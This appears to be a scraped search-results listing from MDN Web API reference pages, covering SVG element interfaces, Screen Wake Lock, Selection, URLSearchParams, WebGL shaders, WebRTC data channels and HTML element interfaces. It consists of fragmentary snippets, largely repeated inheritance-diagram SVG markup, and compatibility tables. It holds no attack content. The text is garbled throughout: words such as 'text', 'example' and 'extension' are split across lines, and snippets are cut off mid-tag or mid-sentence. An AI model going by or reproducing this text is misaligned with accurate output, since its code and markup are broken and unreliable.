...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 3 more matches
SVGMarkerElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to switch an
existing value to this type.
...it is invalid to attempt to define a new value of this type or to attempt to switch an
existing value to this type.
... properties this interface also inherits properties from its parent interface, svgelement, and implements properties from svg
externalresourcesrequired, svganimatedpreserveaspectratio, and svgstylable.
...And 3 more matches
SVGPathElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 3 more matches
SVGPolygonElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 3 more matches
SVGPolylineElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 3 more matches
SVGScriptElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgscriptelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="401" y="94" font-size="12px" font-fa...
...And 3 more matches
SVGTSpanElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 3 more matches
SVGUseElement - Web APIs
ck; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">svgelement</t
ext></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="391" y="94" font-size="12px" font-fam...
...And 3 more matches
Screen Wake Lock API - Web APIs
examples feature detection this code checks for wake lock support and updates the ui accordingly.
... if ('wakelock' in navigator) { issupported = true; statuselem.t
extcontent = 'screen wake lock api supported!'; } else { wakebutton.disabled = true; statuselem.t
extcontent = 'wake lock is not supported by this browser.'; } requesting a wake lock the following
example demonstrates how to request a wakelocksentinel object.
... // create a reference for the wake lock let wakelock = null; // create an async function to request a wake lock const requestwakelock = async () => { try { wakelock = await navigator.wakelock.request('screen'); // change up our interface to reflect wake lock active statuselem.t
extcontent = 'wake lock is active!'; } catch (err) { // if wake lock request fails - usually system related, such as battery statuselem.t
extcontent = `${err.name}, ${err.message}`; } } releasing wake lock the following
example shows how to release the previously acquired wake lock.
...And 3 more matches
Selection.removeRange() - Web APIs
return value undefined
examples /* programmaticaly, more than one range can be selected.
... * this will remove all ranges
except the first.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoverange
experimentalchrome full support 58edge full support 12firefox full support yesie ?
...And 3 more matches
Selection.toString() - Web APIs
the currently selected t
ext.
... description this method returns the currently selected t
ext.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring
experimentalchrome full support 1edge full support ≤18firefox full support yesie ?
...And 3 more matches
SourceBufferList - Web APIs
[]) or functions such as foreach() for
example.
...ock; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/sourcebufferlist" target="_top"><rect x="151" y="1" width="16...
...0" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="231" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">sourcebufferlist</t
ext></a></svg></div> a:hover t
ext { fill: #0095dd; pointer-events: all;} properties sourcebufferlist.length read only returns the number of sourcebuffer objects in the list.
...And 3 more matches
URLSearchParams.set() - Web APIs
if the search parameter doesn't
exist, this method creates it.
...
examples let's start with a simple
example: let url = new url('https://
example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a third parameter.
... params.set('baz', 3); params.tostring(); // "foo=1&bar=2&baz=3" below is a real-life
example demonstrating how to create a url and set some search parameters.
...And 3 more matches
URLUtilsReadOnly.origin - Web APIs
the urlutilsreadonly.origin read-only property is a domstring containing the unicode serialization of the origin of the represented url, that is, for http and https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if
explicitely specified).
... syntax string = object.origin;
examples // on this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment urlthe definition of 'urlutilsreadonly.origin' in that specification.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetorigin
experimentalchrome no support noedge no support nofirefox full support 29ie no support noopera no support nosafari no suppo...
...And 3 more matches
WEBGL_debug_shaders - Web APIs
the webgl_debug_shaders
extension is part of the webgl api and
exposes a method to debug shaders from privileged cont
exts.
... this
extension is not directly available to web sites as the way of how the shader is translated may uncover personally-identifiable information to the web page about the kind of graphics card in the user's computer.
... webgl
extensions are available using the webglrenderingcont
ext.get
extension() method.
...And 3 more matches
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
this method is part of the webgl_draw_buffers
extension.
... syntax void gl.get
extension('webgl_draw_buffers').drawbufferswebgl(buffers); parameters buffers an array of glenum constants defining drawing buffers.
...
ext.color_attachment0_webgl the fragment shader is written the the nth color attachment of the framebuffer.
...And 3 more matches
WebGLProgram - Web APIs
the webglprogram is part of the webgl api and is a combination of two compiled webglshaders consisting of a vert
ex shader and a fragment shader (both written in glsl).
... to create a webglprogram, call the gl cont
ext's createprogram() function.
... var program = gl.createprogram(); // attach pre-
existing shaders gl.attachshader(program, vert
exshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw 'could not compile webgl program.
...And 3 more matches
WebGLShader - Web APIs
the webglshader is part of the webgl api and can either be a vert
ex or a fragment shader.
... description to create a webglshader use webglrenderingcont
ext.createshader, then hook up the glsl source code using webglrenderingcont
ext.shadersource(), and finally invoke webglrenderingcont
ext.compileshader() to finish and compile the shader.
... function createshader (gl, sourcecode, type) { // compiles either a shader of type gl.vert
ex_shader or gl.fragment_shader var shader = gl.createshader( type ); gl.shadersource( shader, sourcecode ); gl.compileshader( shader ); if ( !gl.getshaderparameter(shader, gl.compile_status) ) { var info = gl.getshaderinfolog( shader ); throw 'could not compile webgl program.
...And 3 more matches
Using WebRTC data channels - Web APIs
in this guide, we'll
examine how to add a data channel to a peer connection, which can then be used to securely
exchange arbitrary data; that is, any kind of data we wish, in any format we choose.
...this is the easy way, and works for a wide variety of use cases, but may not be fl
exible enough for your needs.
...at a fundamental level, the individual network packets can't be larger than a certain value (the
exact number depends on the network and the transport layer being used).
...And 3 more matches
FontFace.display - Web APIs
if the font face loads during this time, it's used to display the t
ext and display is complete.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdisplay
experimentalchrome full support 60edge full support 79firefox full support 58ie ?
... nosamsung internet android full support 8.0legend full support full support no support no support compatibility unknown compatibility unknown
experimental.
...And 2 more matches
GainNode - Web APIs
a gainnode always has
exactly one input and one output, both with the same number of channels.
...to prevent this from happening, never change the value directly but use the
exponential interpolation methods on the audioparam interface.
...you shouldn't manually create a gain node; instead, use the method audiocont
ext.creategain().
...And 2 more matches
GlobalEventHandlers.onanimationend - Web APIs
example html content <div class="main"> <div id="box"> <div id="t
ext">box</div> </div> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; t
ext-align...
...: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #t
ext { width: 46px; padding: 10px; position: relative; t
ext-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: fl
ex; justify-content: center; } the animation sequence is described n
ext.
...And 2 more matches
GlobalEventHandlers.onanimationstart - Web APIs
example html content <div class="main"> <div id="box"> <div id="t
ext">box</div> </div> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; t
ext-align...
...: center; margin-top: 0; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #t
ext { width: 46px; padding: 10px; position: relative; t
ext-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... #box { width: var(--boxwidth); height: var(--boxwidth); left: 0; top: 0; border: 1px solid #7788ff; margin: 0; position: relative; background-color: #2233ff; display: fl
ex; justify-content: center; } the animation sequence is described n
ext.
...And 2 more matches
GlobalEventHandlers.onclick - Web APIs
syntax target.onclick = functionref; value functionref is a function name or a function
expression.
...you may prefer to use the eventtarget.addeventlistener() method instead, since it's more fl
exible.
...
examples detecting clicks this
example simply changes the color of an element when it's clicked upon.
...And 2 more matches
HTMLAudioElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmediaelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-fam...
...And 2 more matches
HTMLBRElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbrelement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="426" y="94" font-size="12px" font-fam...
...And 2 more matches
HTMLBaseElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
